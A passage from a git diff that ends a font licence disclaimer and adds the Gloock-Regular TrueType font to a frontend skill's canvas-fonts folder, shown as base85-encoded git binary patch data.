LIABILITY, +INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL +DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM +OTHER DEALINGS IN THE FONT SOFTWARE. diff --git a/skills/frontend-dev/canvas-fonts/Gloock-Regular.ttf b/skills/frontend-dev/canvas-fonts/Gloock-Regular.ttf new file mode 100644 index 0000000000000000000000000000000000000000..3e58c4e455cc143e9b02d05fdcb054fac62ed7ab GIT binary patch literal 95156 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 